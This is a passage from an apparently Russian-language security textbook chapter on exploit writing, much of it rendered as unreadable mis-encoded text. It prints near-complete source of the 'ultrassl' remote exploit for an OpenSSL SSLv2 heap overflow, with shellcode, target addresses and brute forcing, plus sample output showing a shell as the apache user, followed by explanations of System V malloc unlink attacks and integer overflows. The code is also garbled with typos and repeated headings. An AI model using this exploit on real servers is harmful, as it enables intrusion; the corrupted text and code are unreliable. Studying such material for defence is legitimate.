17 3d 00 00 00 00 8c 10 46  40 00 00 00 00 c0 51 15  | =......F@.....Q.

18 08                                                | .

19
20 cipher  = 0x4046108c

21 ciphers = 0x081551c0

22
23 âûïîëíÿåòñÿ ýêñïëîéò..

24
25 Linux tobor 2.4.7-10 i686 unknown

26 uid=48(apache) gid=48(apache) groups=48(apache)

Êîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðàÊîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðàÊîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðàÊîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðàÊîä ýêñïëîéòà äëÿ ïåðåïîëíåíèÿ áóôåðà
èç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷àèç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷àèç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷àèç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷àèç-çà íåïðàâèëüíî ñôîðìèðîâàííîãî êëèåíòñêîãî êëþ÷à
â OpenSSL SSLv2â OpenSSL SSLv2â OpenSSL SSLv2â OpenSSL SSLv2â OpenSSL SSLv2
Ïîêàçàííàÿ íèæå ïðîãðàììà ýêñïëóàòèðóåò îøèáêó â áèáëèîòåêå OpenSSL, âû-
çûâàþùóþ çàòèðàíèå ïàìÿòè â ñâÿçàííîì ñïèñêå. Â ðåçóëüòàòå çàïóñêà ýêñïëîé-
òà óäàåòñÿ ïîëó÷èòü îáîëî÷êó ñ ïðàâàìè ïîëüçîâàòåëÿ «apache». Â áîëüøèíñòâå
ñèñòåì Linux ïîñëåäóþùåå ïîâûøåíèå ïðèâèëåãèé äî óðîâíÿ root òðèâèàëüíî.

 1 #include <sys/types.h>

 2 #include <sys/socket.h>

 3 #include <netinet/in.h>

 4 #include <sys/signal.h>

 5
 6 #include <fcntl.h>

 7 #include <stdio.h>

 8 #include <stdlib.h>

 9 #include <string.h>

10 #include <unistd.h>

11
12 #include "ultrassl.h"

13 #include "shellcode.h"

14
15 char *host;

16 int con_num, do_ssl, port;

17 u_long cipher, ciphers, brute_addr = 0;

18
19 typedef struct {

20   u_long retloc;
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21   u_long retaddr;

22   char *name;

23 } targets;

24
25 targets target[] = {

26   {0x08085a0, 0xbfffda38, "redhat 7.3 (Valhalla)"},

27   {0x08085a0, 0xbfffda38, "test"},

28   {0x0, 0xbfbfdca8, "freebsd"}

29 };

30
31 targets *my_target;

32 int target_num = sizeof(target) / sizeof(*target);

33
34 void

35 sighandler(int sig)

36 {

37   int sockfd, rand_port;

38
39   putchar('\n');

40
41   rand_port = 1 + (int) (65535.0 * rand() / (RAND_MAX + 31025.0));

42
43   putchar('\n');

44
45   populate(host, 80, con_num, do_ssl, rand_port);

46
47   printf("âûïîëíÿåòñÿ ýêñïëîéò..\n");

48   sockfd = exploit(host, port, brute_addr, 0xbfffda38, rand_port);

49
50   if (sock_fd > 0)

51      shell(sockfd);

52 }

53
54 int

55 main(int argc, char **argv)

56 {

57   char opt;

58   char *p;

59   u_long addr = 0;

60   int sockfd, ver, i;

61
62   ver = -1;

63   port = 443;

64   do_ssl = 0;

65   p = argv[0];

66   con)num = 12;

67
68   srand(time(NULL) ^ getpid());

69   signal(SIGPIPE, &sighandler);

70   setvbuf(stdout, NULL, _IONBUF, 0);

Пример: уязвимость, связанная с переполнением буфера
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 71
 72   puts("ultrassl – an openssl <= 0.9.6d apache exploit\n");

 73      "written by marshall beddoe <marshall.beddoe@foundstone.com>");

 74
 75   if (argc < 2)

 76      usage(p);

 77
 78   while ((opt = getopt(argc, argv, "p:c:a:t:s")) != EOF) {

 79      switch (opt) {

 80        case 'p':

 81             port = atoi(optarg);

 82             break;

 83        case 'c':

 84             con_num = atoi(optarg);

 85             break;

 86        case 'a':

 87             addr = strtoul(optarg, NULL, 0);

 88             break;

 89        case 't':

 90             ver = atoi(optarg) – 1;

 91             break;

 92        case 's':

 93             do_ssl = 1;

 94             break;

 95        default:

 96             usage(p);

 97      }

 98   }

 99
100   argv += optind;

101   host = argv[0];

102
103   ver = 0;

104
105   if (ver < 0 || ver >= target_num) && !addr) {

106      printf(\nöåëè:\n");

107      for (i = 0; i < target_num; i++)

108          printf("  -t%d\t%s\n", i + 1, target[i].name);

109      exit(-1);

110   }

111   my_target = target + ver;

112
113   if (addr)

114      brute_addr = addr;

115
116   if (!host)

117      usage(p);

118
119   printf("äëèíà shell-êîäà %d áàéò\n", sizeof(shellcode));
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120
121   infoleak(host, port);

122
123   if (!brute_addr)

124      brute_addr = cipher + 8192; // 0x08083e18

125
126   putchar('\n');

127
128   for (i = 0; i < 1024; i++) {

129       int sd;

130
131       printf("ãðóáîé ñèëîé: 0x%x\r", brute_addr);

132
133       sd = exploit(host, port, brute_addr, 0xbfffda38, 0);

134
135       if (sd > 0) {

136          shutdown(ds, 1);

137          close(sd);

138       }

139
140       brute_addr += 4;

141   }

142   exit(0);

143 }

144
145 int

146 populate(char *host, int port, int num, int do_ssl, int rand_port)

147 {

148   int i, *socks;

149   char buf[1024 * 3];

150   char header[] = "GET / HTTP/1.0\r\nHost: ";

151   struct sockaddr_in sin;

152
153   printf("ìîäèôöèðóåòñÿ shell-êîä..\n");

154
155   memset(buf, 0x90, sizeof(buf));

156
157   for (i = 0; i < sizeof(buf); i += 2)

158       *(short *)&buf[i] = 0xfceb;

159
160   memcpy(buf, header, sizeof(header));

161
162   buf[sizeof(buf) – 2] = 0x0a;

163   buf[sizeof(buf) – 1] = 0x0a;

164   buf[sizeof(buf) – 0] = 0x0;

165
166   shellcode[47 + 0] = (u_char)((rand_port >> 8) & 0xff);

167   shellcode[47 + 1] = (u_char)(rand_port & 0xff);

168

Пример: уязвимость, связанная с переполнением буфера



558 Глава 11. Написание эксплойтов II

169   memcpy(buf + 768, shellcode, strlen(shellcode));

170
171   sin.sin_family = AF_INET;

172   sin.sin_port = htons(port);

173   sin.sin_addr.s_addr = resolve(host);

174
175   socks = malloc(sizeof(int) * num);

176
177   for (i = 0; i < num; i++) {

178       ssl_conn *ssl;

179
180       usleep(100);

181
182       socks[i] = socket(AF_INET, SOCK_STREAM, 0);

183       if (socks[i] < 0) {

184          perror("socket()");

185          return(-1);

186       }

187       connect(socks[i], (struct sockaddr *)&sin, sizeof(sin));

188       write(socks[i], buf, strlen(buf));

189   }

190
191   for (i = 0; i < num; i++) {

192       shutdown(socks[i], 1);

193       close(socks[i]);

194   }

195 }

196
197 int

198 infoleak(char * host, int port)

199 {

200   u_char *p;

201   u_char buf[56];

202   ssl_conn *ssl;

203
204   memset(buf, 0, sizeof(buf));

205   p = buf;

206
207   /* session_id_length */

208   *(long *) &buf[52] = 0x00000070;

209
210   printf("\nîðãàíèçóåòñÿ óòå÷êà èíôîðìàöèè:\n");

211
212   if (!ssl = ssl_connect(host, port, 0)))

213      return(-1);

214
215   send_client_hello(ssl);

216
217   if (get_server_hello(ssl) < 0)
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218      return(-1);

219
220   send_client_master_key(ssl, buf, sizeof(buf));

221
222   generate_keys(ssl);
223
224   if (get_server_verify(ssl) < 0)

225      return(-1);

226
227   send_client_finish(ssl);

228   get_server_finish(ssl, 1);

229
230   printf("\ncipher\t= 0x%08x\n", cipher);

231   printf("\nciphers\t= 0x%08x\n", ciphers);

232
233   shutdown(ssl->sockfd, 1);

234   close(ssl->sockfd);

235 }

236
237 int

238 exploit(char *host, int port, u_long retloc, u_long retaddr,

        int rand_port)

239 {

240   u_char *p;

241   ssl_conn *ssl;

242   int i, src_port;

243   u_char buf[184], test[400];

244   struct sockaddr_in sin;

245
246   if (!(ssl = sll_connect(host, port, rand_port)))

247      return(-1);

248
249   memset(buf, 0x0, sizeof(buf));

250
251   p = buf;

252
253   *(long *) &buf[52] = 0x00000070;

254
255   *(long *) &buf[156] = cipher;

256   *(long *) &buf[164] = ciphers;

257
258   *(long *) &buf[172 + 4] = retaddr;

259   *(long *) &buf[172 + 8] = retloc – 192;

260
261   send_client_hello(ssl);

262   if (get_server_hello(ssl) < 0)

263      return(-1);

264
265   send_client_master_key(ssl, buf, sizeof(buf));

Пример: уязвимость, связанная с переполнением буфера
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266
267   generate_keys(ssl);

268
269   if (get_server_verify(ssl) < 0)

270      return(-1);

271
272   send_client_finish(ssl);

273   get_server_finish(ssl, 0);

274
275   fcntl(ssl->sockfd, F_SETFL, O_NONBLOCK);

276
277   write(ssl->sockfd, "echo -n\n", 8);

278
279   sleep(3);

280
281   read(ssl->sockfd, test, 400);

282   write(ssl->sockfd, "echo -n\n", 8);

283
284   return(ssl->sockfd);

285 }

286
287 void

288 usage(char *prog)

289 {

290   printf("usage: %s [-p port] [-c <connects>] [-t <type>] "

         "[-s] target\n"

291          "      -p\tserver port\n"

292          "      -c\tnumber of connections\n"

293          "      -t\ttarget type -t0 for list\n"

294          "      -s\tpopulate shellcode via SSL server\n"

295          "      target\thost running vulnerable openssl\n", prog);

296   exit(-1);

297 }

Ðåàëèçàöèÿ malloc â ÎÑ System VÐåàëèçàöèÿ malloc â ÎÑ System VÐåàëèçàöèÿ malloc â ÎÑ System VÐåàëèçàöèÿ malloc â ÎÑ System VÐåàëèçàöèÿ malloc â ÎÑ System V
Ðåàëèçàöèÿ malloc, çàèìñòâîâàííàÿ èç ÎÑ System V, îáû÷íî èñïîëüçóåòñÿ
â ñèñòåìàõ Solaris è IRIX. Îíà îòëè÷àåòñÿ îò ðåàëèçàöèè dlmalloc. Âìåñòî òîãî
÷òîáû õðàíèòü âñþ èíôîðìàöèþ â áëîêàõ, â Sys X malloc ïðèìåíÿþòñÿ äâîè÷-
íûå äåðåâüÿ. Îíè îðãàíèçîâàíû òàê, ÷òî âûäåëåííûå áëîêè îäíîãî ðàçìåðà
íàõîäÿòñÿ â îäíîì è òîì æå óçëå äåðåâà.

typedef union _w_ {
  size_t w_i; /* unsigned int */
  struct _t_ *w_p; /* óêàçàòåëü */
  char w_a[ALIGN]; /* äëÿ âûðàâíèâàíèÿ */
} WORD;

/* ñòðóêòóðà óçëà â äåðåâå ñâîáîäíûõ áëîêîâ */
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typedef struct _t_ {
  WORD t_s; /* ðàçìåð ýòîãî ýëåìåíòà */
  WORD t_p; /* ðîäèòåëüñêèé óçåë */
  WORD t_l; /* ëåâûé ïîòîìîê */
  WORD t_r; /* ïðàâûé ïîòîìîê */
  WORD t_n; /* ñëåäóþùèé ýëåìåíò â ñïèñêå */
  WORD t_d; /* íå èñïîëüçóåòñÿ, çàðåçåðâèðîâàíî */

/* äëÿ óêàçàòåëÿ íà ñåáÿ */
} TREE;

Ñàìà ñòðóêòóðà äåðåâà ñòàíäàðòíà. Â ïîëå t_s õðàíèòñÿ ðàçìåð âûäåëåííîãî
áëîêà. Ýòà âåëè÷èíà îêðóãëÿåòñÿ äî ãðàíèöû ñëîâà, òàê ÷òî â äâóõ ìëàäøèõ
áèòàõ ìîæíî õðàíèòü ôëàãè. Ñàìûé ìëàäøèé áèò t_s ðàâåí 1, åñëè áëîê èñ-
ïîëüçóåòñÿ, è 0 – åñëè îí ñâîáîäåí. Ñëåäóþùèé áèò ïðîâåðÿåòñÿ òîëüêî, åñëè
ìëàäøèé áèò ðàâåí 1, è â ýòîì ñëó÷àå îí ðàâåí 1, åñëè ïðåäûäóùèé áëîê ñâî-
áîäåí, è 0, åñëè çàíÿò.

Â äåéñòâèòåëüíîñòè èñïîëüçóþòñÿ òîëüêî ïîëÿ t_s, t_p è t_l. Ïîëüçîâàòåëü-
ñêèå äàííûå õðàíÿòñÿ ïî àäðåñó, êîòîðûé íàõîäÿòñÿ â ïîëå t_l.

Ëîãèêà àëãîðèòìà óïðàâëåíèÿ ïðîñòà. Êîãäà áëîê îñâîáîæäàåòñÿ ôóíêöèåé
free(), ìëàäøèé áèò â ïîëå t_s ñáðàñûâàåòñÿ â 0, ïîìå÷àÿ òåì ñàìûì, ÷òî áëîê
ñâîáîäåí. Åñëè ÷èñëî ñâîáîäíûõ óçëîâ äîñòèãëî íåêîòîðîãî ïîðîãà, îáû÷íî
32, è îñâîáîæäàåòñÿ åùå îäèí áëîê, òî äåðåâî ïåðåäàåòñÿ ôóíêöèè realfree, êî-
òîðàÿ ðåàëüíî îñâîáîæäàåò ïàìÿòü. Ñìûñë òàêîãî ðåøåíèÿ â òîì, ÷òîáû
óìåíüøèòü ÷èñëî äîðîãîñòîÿùèõ îïåðàöèé îñâîáîæäåíèÿ è ïîâûñèòü çà
ñ÷åò ýòîãî ïðîèçâîäèòåëüíîñòü. Ôóíêöèÿ realfree çàíîâî áàëàíñèðóåò äåðåâî,
÷òîáû îïòèìèçèðîâàòü ïîñëåäóþùèå âûçîâû malloc è free â áóäóùåì. Âî âðå-
ìÿ ýòîé îïåðàöèè ïðîâåðÿåòñÿ áèò çàíÿòîñòè â ñîñåäíèõ áëîêàõ. Åñëè îáà áëî-
êà ñâîáîäíû, îíè îáúåäèíÿþòñÿ, è íîâûé áëîê ïåðåìåùàåòñÿ íà íóæíîå ìåñ-
òî â äåðåâå â ñîîòâåòñòâèè ñî ñâîèì ðàçìåðîì. Êàê è â ñëó÷àå dlmalloc âî
âðåìÿ îáúåäèíåíèÿ ïðîèçâîäÿòñÿ ìàíèïóëÿöèè íàä óêàçàòåëÿìè.

Â ïðèìåðå 11.5 ïðèâåäåíà ðåàëèçàöèÿ ôóíêöèè realfree, ýêâèâàëåíòíîé
chunk_free â dlmalloc. Èìåííî çäåñü îòêðûâàåòñÿ âîçìîæíîñòü äëÿ ýêñïëîéòà,
òàê ÷òî èìååò ñìûñë õîðîøî ðàçîáðàòüñÿ â ýòîì êîäå.

Пример 11.5. Пример 11.5. Пример 11.5. Пример 11.5. Пример 11.5. Функция realfree
 1 static void
 2 realfree(void *old)
 3 {
 4   TREE   *tp, *sp, *np;
 5   size_t ts, size;
 6
 7   COUNT(nfree);
 8
 9   /* óêàçàòåëü íà áëîê */
10   tp = BLOCK(old);

11   ts = size(tp);

Пример: уязвимость, связанная с переполнением буфера
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12   if (!ISBIT0(ts))
13      return;
14   CLRBITS01(SIZE(tp));
15
16   /* íåáîëüøîé áëîê, ïîìåñòèòü â íóæíîå ìåñòî ñâÿçàííîãî ñïèñêà */
17   if (SIZE(tp) < MINSIZE) {
18      ASSERT(SIZE(tp) / WORDSIZE >= 1);
19      ts = SIZE(tp) / WORDSIZE – 1;
20      AFTER(tp) = List(ts);
21      List[ts] = tp;
22      return;
23   }
24
25   /* ìîæíî ëè îáúåäèíèòü ñî ñëåäóþùèì áëîêîì? */
26   np = NEXT(tp);
27   if (!ISBIT0(SIZE(np))) {
28      if (np != Bottom)
29         t_delete(np);
30      SIZE(tp) += SIZE(np) + WORDSIZE;
31   }
32
33   /* ìîæíî ëè îáúåäèíèòü ñ ïðåäûäóùèì áëîêîì? */
34   if (ISBIT0(ts)) {
35      np = LAST(tp);
36      ASSERT(!ISBIT0(SIZE(np)));
37      ASSERT(np != Bottom);
38      t_delete(np);
39      SIZE(np) += SIZE(tp) + WORDSIZE;
40      tp = np;
41   }
42 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêå 26 realfree ñìîòðèò, ìîæíî ëè îáúåäèíèòü òåêóùèé ñâîáîäíûé áëîê
ñî ñëåäóþùèì. Â ñòðîêå 27 ïðîâåðÿåòñÿ, ÷òî óñòàíîâëåí ôëàã íåçàíÿòîñòè
áëîêà è ÷òî äàííûé áëîê íå ÿâëÿåòñÿ ïîñëåäíèì â ñïèñêå. Åñëè îáà óñëîâèÿ
âûïîëíåíû, òî áëîê óäàëÿåòñÿ èç ñâÿçàííîãî ñïèñêà. Çàòåì ðàçìåðû îáîèõ
áëîêîâ ñêëàäûâàþòñÿ, è áëîê ñíîâà äîáàâëÿåòñÿ â äåðåâî.

Ïðè íàïèñàíèè ýêñïëîéòà äëÿ ýòîé ðåàëèçàöèè íóæíî èìåòü â âèäó, ÷òî
ìû íå ìîæåì ìàíèïóëèðîâàòü çàãîëîâêîì íàøåãî ñîáñòâåííîãî áëîêà,
à ëèøü çàãîëîâêîì áëîêà ñïðàâà îò íåãî (ñì. ñòðîêè 26-30). Åñëè ìû ïèøåì
äàííûå çà ãðàíèöåé âûäåëåííîãî áëîêà è ñîçäàåì «ïîäëîæíûé» çàãîëîâîê,
òî ìîæåì çàñòàâèòü ïðîãðàììó âûïîëíèòü ôóíêöèþ t_delete, à çíà÷èò ñóìååì
ïðîèçâîëüíî ìàíèïóëèðîâàòü óêàçàòåëÿìè. Â ïðèìåðå 11.6 ïðèâåäåí òåêñò
ôóíêöèè, ñ ïîìîùüþ êîòîðîé ìîæíî ïîëó÷èòü êîíòðîëü íàä óÿçâèìûì ïðè-
ëîæåíèåì â ñëó÷àå çàòèðàíèÿ êó÷è. Îíà ýêâèâàëåíòíà ìàêðîñó UNLINK â ðåà-
ëèçàöèè dlmalloc.
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Пример 11.6. Пример 11.6. Пример 11.6. Пример 11.6. Пример 11.6. Функция t_delete
 1 static void

 2 t_delete(TREE *op)

 3 {

 4   TREE  *tp, *sp, *gp;

 5
 6   /* åñëè ýòî íå óçåë äåðåâà */

 7   if (ISNOTREE(op)) {

 8      tp = LINKBAK(op);

 9      if ((sp = LINKFOR(op)) != NULL)

10         LINKBAK(sp) = tp;

11      LINKFOR(tp) = sp;

12      return;

13   }

14 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ôóíêöèÿ t_delete ìàíèïóëèðóåò óêàçàòåëÿìè äëÿ óäàëåíèÿ áëîêà èç äåðåâà.
Ñíà÷àëà âûïîëíÿþòñÿ íåêîòîðûå ïðîâåðêè, êîòîðûå äîëæåí ïðîéòè ñêîíñò-
ðóèðîâàííûé «ïîäëîæíûé» áëîê. Â ñòðîêå 7 ïðîâåðÿåòñÿ, ÷òî â ïîëå t_l óçëà
op íàõîäèòñÿ -1. Ïîýòîìó, îðãàíèçóÿ ïåðåïîëíåíèå, ìû äîëæíû áóäåì ïîçà-
áîòèòüñÿ î òîì, ÷òîáû â ýòîì ïîëå äëÿ «ïîäëîæíîãî» áëîêà áûëà –1. Äàëåå
ðàñøèôðóåì ìàêðîñû LINKFOR è LINKBAK:

#define LINKFOR(b)  (((b)->t_n).w_p)
#define LINKBAK(b)  (((b)->t_p).w_n)

Ïîëå t_p «ïîäëîæíîãî» áëîêà äîëæíî â ðåçóëüòàòå ïåðåïîëíåíèÿ ñîäåð-
æàòü àäðåñ, ïî êîòîðîìó áóäåò íàõîäèòüñÿ àäðåñ âîçâðàòà, – 4 * sizeof(WORD).
À â ïîëå t_n íàäî çàïèñàòü ñàì àäðåñ âîçâðàòà. Ñëåäîâàòåëüíî, ïîñëå ïåðå-
ïîëíåíèÿ áëîê äîëæåí âûãëÿäåòü, êàê ïîêàçàíî íà ðèñ. 11.11.

Рис. 11.11.Рис. 11.11.Рис. 11.11.Рис. 11.11.Рис. 11.11. Подложный блок

Пример: уязвимость, связанная с переполнением буфера
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Åñëè «ïîäëîæíûé áëîê» ïðàâèëüíî çàïîëíåí è ñîäåðæèò ïðàâèëüíûå àä-
ðåñà âîçâðàòà è òîãî ìåñòà â ïàìÿòè, ãäå ýòîò àäðåñ íàõîäèòñÿ, òî â ðåçóëüòàòå
ìàíèïóëèðîâàíèÿ óêàçàòåëÿìè â ôóíêöèè t_delete ìîæíî áóäåò âûïîëíèòü
ïðîèçâîëüíûé êîä. Óÿçâèìîé ýòó ðåàëèçàöèè äåëàåò õðàíåíèå óïðàâëÿþùåé
èíôîðìàöèè â òîì æå áëîêå, ÷òî è äàííûå. Â íåêîòîðûõ îïåðàöèîííûõ ñèñ-
òåìàõ malloc ðåàëèçîâàíà òàêèì îáðàçîì, ÷òî ýòà èíôîðìàöèÿ õðàíèòñÿ îò-
äåëüíî. Òîãäà íåâîçìîæíî òàê ñîçäàòü ïîäëîæíûé áëîê, ÷òîáû âûçâàòü æå-
ëàåìûå ìàíèïóëÿöèè ñ óêàçàòåëÿìè.

Эксплойты для ошибок
при работе с целыми числами
Îøèáêè ïðè ðàáîòå ñ öåëûìè ÷èñëàìè ïðåäñòàâëÿþò ñîáîé îïàñíûé èñòî÷-
íèê óÿçâèìîñòåé â ïðîãðàììàõ ñ îòêðûòûì èñõîäíûì òåêñòîì. Òàêèå îøèá-
êè áûëè íàéäåíû â OpenSSH, Snort, Apache è áèáëèîòåêå Sun RPC XDR, à òàê-
æå âî ìíîæåñòâå â ÿäðå. Èõ ñëîæíåå îáíàðóæèòü, ÷åì îøèáêè ïåðåïîëíåíèÿ
ñòåêà, è ðàçðàáîò÷èêè õóæå ïîíèìàþò èõ ïîñëåäñòâèÿ.

Ê òîìó æå íè îäèí èç ñîâðåìåííûõ àíàëèçàòîðîâ èñõîäíûõ òåêñòîâ íå ïûòàåò-
ñÿ îáíàðóæèòü îøèáêè ïðè âû÷èñëåíèÿõ ñ öåëûìè ÷èñëàìè. Ïî áîëüøåé ÷àñòè
àíàëèçàòîðû ëèøü âûïîëíÿþò ïîèñê ïî ðåãóëÿðíîìó âûðàæåíèþ ôóíêöèé èç
áèáëèîòåêè LIBC, îòíîñèòåëüíî êîòîðûõ èçâåñòíî, ÷òî îíè ïîòåíöèàëüíî ìî-
ãóò áûòü ïðè÷èíîé óÿçâèìîñòè. Õîòÿ îáû÷íî ïîèñê îøèáîê ïðè ðàáîòå ñ öåëû-
ìè ÷èñëàìè èìååò ñìûñë íà÷èíàòü ñ ôóíêöèé âûäåëåíèÿ ïàìÿòè, íî, âîîáùå ãî-
âîðÿ, îíè íå ñâÿçàíû íè ñ êàêîé êîíêðåòíîé ñòàíäàðòíîé ôóíêöèåé.

Переполнение целого числа

Ïåðåïîëíåíèå öåëîãî ÷èñëà (integer wrapping) âîçíèêàåò, êîãäà â ðåçóëüòàòå
óâåëè÷åíèÿ öåëîå ÷èñëî äîñòèãàåò ìàêñèìàëüíî äîïóñòèìîãî çíà÷åíèÿ è
ïðè ïåðåõîäå ÷åðåç íåãî ñòàíîâèòñÿ ðàâíûì íóëþ, à çàòåì ïðèíèìàåò íåáîëü-
øèå çíà÷åíèÿ. Òî÷íî òàêæå, ïåðåõîä ÷åðåç íóëü ïðîèñõîäèò â ðåçóëüòàòå
óìåíüøåíèÿ íåáîëüøîãî öåëîãî ÷èñëà, â ðåçóëüòàòå îíî íà÷èíàåò ïðèíè-
ìàòü áîëüøèå çíà÷åíèÿ. Â ñëåäóþùèõ ïðèìåðàõ ôèãóðèðóåò èñêëþ÷èòåëüíî
ôóíêöèÿ malloc, íî ïðîáëåìà íå ñâÿçàíà èìåííî ñ íåé èëè âîîáùå êàêîé-òî
îòäåëüíîé ôóíêöèåé èç áèáëèîòåêè LIBC. Ìû áóäåì ðàññìàòðèâàòü òîëüêî
ïåðåõîä ÷åðåç ìàêñèìàëüíîå çíà÷åíèå, à, ñòàëî áûòü, ëèøü îïåðàöèè ñëîæå-
íèÿ è óìíîæåíèÿ. Íî íå çàáûâàéòå è î ïåðåõîäå ÷åðåç íîëü â ðåçóëüòàòå
âû÷èòàíèÿ è äåëåíèÿ. Â ïðèìåðå 11.7 ïîêàçàíî, êàê ìîæåò âîçíèêàòü ïåðå-
ïîëíåíèå öåëîãî ïðè ñëîæåíèè.
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Пример 11.7. Пример 11.7. Пример 11.7. Пример 11.7. Пример 11.7. Переполнение целого числа при сложении
 1 #include <stdio.h>

 2 #include <stdlib.h>

 3
 4 int main(void)

 5 {

 6   unsigned int i, length1, length2;

 7   char *buf;

 8
 9   // ìàêñèìàëüíîå 32-ðàçðÿäíîå áåççíàêîâîå öåëîå ðàâíî 4294967295

10   length1 = 0xffffffff;

11   length2 = 0x1;

12
13   // âûäåëèòü ïàìÿòü äëÿ õðàíåíèÿ length1 + 1 áàéòîâ

14   buf = (char *) malloc(length1 + length2);

15
16   // íàïå÷àòàòü äëèíó è ñîäåðæèìîå áóôåðà â 16-ðè÷íîì âèäå

17   printf("length1: %x\tlength2: %x\ttotal: %x\tbuf: %s\n",

         length1, length2, length1 + length2, buf);

18
19   // ïèñàòü â áóôåð "A", ïîêà íå áóäåò çàïîëíåíî length1 áàéòîâ

20   for (i=0; i<length1; i++) buf[i] = 0x41;

21
22   // â ïîñëåäíþþ ïîçèöèþ áóôåðà çàïèñàòü 0

23   buf[i] = 0x0;

24
25   // íàïå÷àòàòü äëèíó è ñîäåðæèìîå áóôåðà â 16-ðè÷íîì âèäå

26   printf("length1: %x\tlength2: %x\ttotal: %x\tbuf: %s\n",

         length1, length2, length1 + length2, buf);

27
28   return 0;

29 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
� Â ñòðîêàõ 10 è 11 èíèöèàëèçèðóþòñÿ äâå ïåðåìåííûå length1 è length2.
� Â ñòðîêå 14 îíè ñêëàäûâàþòñÿ äëÿ ïîëó÷åíèÿ ïîëíîé äëèíû áóôåðà, íî

äî âûäåëåíèÿ äëÿ íåãî ïàìÿòè. Ïåðåìåííàÿ length1 ðàâíà 0xffffffff, òî åñòü
ìàêñèìàëüíîìó 32-ðàçðÿäíîìó áåççíàêîâîìó öåëîìó. Êîãäà ê length1
ïðèáàâëÿåòñÿ 1, õðàíÿùàÿñÿ â length2, âû÷èñëåííûé â ñòðîêå 14 ðàçìåð áó-
ôåðà îêàçûâàåòñÿ ðàâåí 0, òàê êàê 0xffffffff + 1 = 0x100000000, íî ýòî ÷èñëî
íå ïðåäñòàâèìî 32 áèòàìè, ïîýòîìó ñòàðøèé áèò îòáðàñûâàåòñÿ è îñòàåò-
ñÿ 0x00000000, òî åñòü 0. Ýòî è íàçûâàåòñÿ ïåðåïîëíåíèåì öåëîãî.

� Òàêèì îáðàçîì, ðàçìåð áóôåðà buf ðàâåí 0. Â ñòðîêå 20 ïðîèçâîäèòñÿ
ïîïûòêà çàïîëíèòü áóôåð ñèìâîëàìè 0x41 (áóêâà 'A'). Ïðè ýòîì length2
íå ó÷èòûâàåòñÿ, òàê êàê â ïîñëåäíèé áàéò ìû ñîáèðàåìñÿ çàïèñàòü íîëü.

� Â ñòðîêå 23 â ïîñëåäíèé áàéò áóôåðà çàïèñûâàåòñÿ 0.

Эксплойты для ошибок при работе с целыми числами



566 Глава 11. Написание эксплойтов II

Åñëè ýòó ïðîãðàììó îòêîìïèëèðîâàòü è âûïîëíèòü, òî ïðîèçîéäåò àâà-
ðèéíûé âûõîä. Ïðè÷èíà â òîì, ÷òî ìû ïûòàåìñÿ çàïèñàòü 4294967295 áóêâ ‘A’
â áóôåð íóëåâîé äëèíû. Åñëè ïåðåìåííîé length1 ïðèñâîèòü çíà÷åíèå 0xfffffffe,
à length2 – çíà÷åíèå 2, ïîâåäåíèå áóäåò àíàëîãè÷íûì. Åñëè æå length1 = 0x5,
à length2 = 0x1, òî ìû ïîëó÷èì «íîðìàëüíîå ïîâåäåíèå».

Ïðèìåð 11.7 ìîæåò ïîêàçàòüñÿ íàäóìàííûì è íåïðàêòè÷íûì, òàê êàê îí íå
ïðåäïîëàãàåò íèêàêîãî âçàèìîäåéñòâèÿ ñ ïîëüçîâàòåëåì, è ïðîãðàììà íåìåä-
ëåííî «ãðîõàåòñÿ» â «óÿçâèìîì» ñëó÷àå. Íî â íåì ïðîäåìîíñòðèðîâàíû ïðî-
áëåìû, êîòîðûå ìîãóò âîçíèêíóòü è â ðåàëüíûõ ïðîãðàììàõ èç-çà ïåðåïîëíå-
íèÿ öåëûõ ÷èñåë. Íàïðèìåð, îáðàùåíèå ê malloc â ñòðîêå 1 íà ïðàêòèêå ÷àùå
âûãëÿäèò òàê: buf = (char *) malloc(length1 + 1). Åäèíèöà â ýòîì ñëó÷àå íóæíà äëÿ
ðåçåðâèðîâàíèÿ ìåñòà ïîä íóëåâîé áàéò, ïîñêîëüêó âñå ñòðîêè äîëæíû çàâåð-
øàòüñÿ íóëåì, èíà÷å âîçìîæíî ïåðåïîëíåíèå ñòåêà èëè çàòèðàíèå êó÷è. Êî-
íå÷íî æå, â ðåàëüíîì ïðèëîæåíèè ïåðåìåííîé length1 íå áóäåò ïðèñâîåíî ëè-
òåðàëüíîå çíà÷åíèå 0xffffffff. Îáû÷íî îíî âû÷èñëÿåòñÿ íà îñíîâå «äàííûõ,
ïîëó÷åííûõ îò ïîëüçîâàòåëÿ». Ëîãè÷åñêàÿ îøèáêà âîçíèêëà ïîòîìó, ÷òî ïðî-
ãðàììèñò ïðåäïîëîæèë, ÷òî ïîëüçîâàòåëü ââåäåò «íîðìàëüíîå» çíà÷åíèå, à íå
òàêîå áîëüøîå, êàê 4294967295. Íî íå çàáûâàéòå, ÷òî âíåøíèå äàííûå ìîãóò
ïîñòóïàòü èç ñàìûõ ðàçíûõ èñòî÷íèêîâ: ïåðåìåííûå îêðóæåíèÿ, àðãóìåíòû
â êîìàíäíîé ñòðîêå, êîíôèãóðàöèîííûé ïàðàìåòð, ÷èñëî îòïðàâëåííûõ ïðè-
ëîæåíèþ ïàêåòîâ, ïîëå â çàãîëîâêå ñåòåâîãî ïðîòîêîëà è òòîìó ïîäîáíûõ. Ïî-
ýòîìó åñëè çíà÷åíèå length äîëæíî çàäàâàòüñÿ ïîëüçîâàòåëåì è íèêàê èíà÷å,
òî â ïðîãðàììå ñëåäóåò ïðîâåðÿòü, ÷òî îíî óêëàäûâàåòñÿ â îïðåäåëåííûé
ïðîãðàììèñòîì ðàçóìíûé äèàïàçîí. Îøèáêà ïåðåïîëíåíèÿ ïðè óìíîæåíèè,
ïîêàçàííàÿ â ïðèìåðå 11.8, î÷åíü ïîõîæà íà ðàññìîòðåííóþ âûøå.

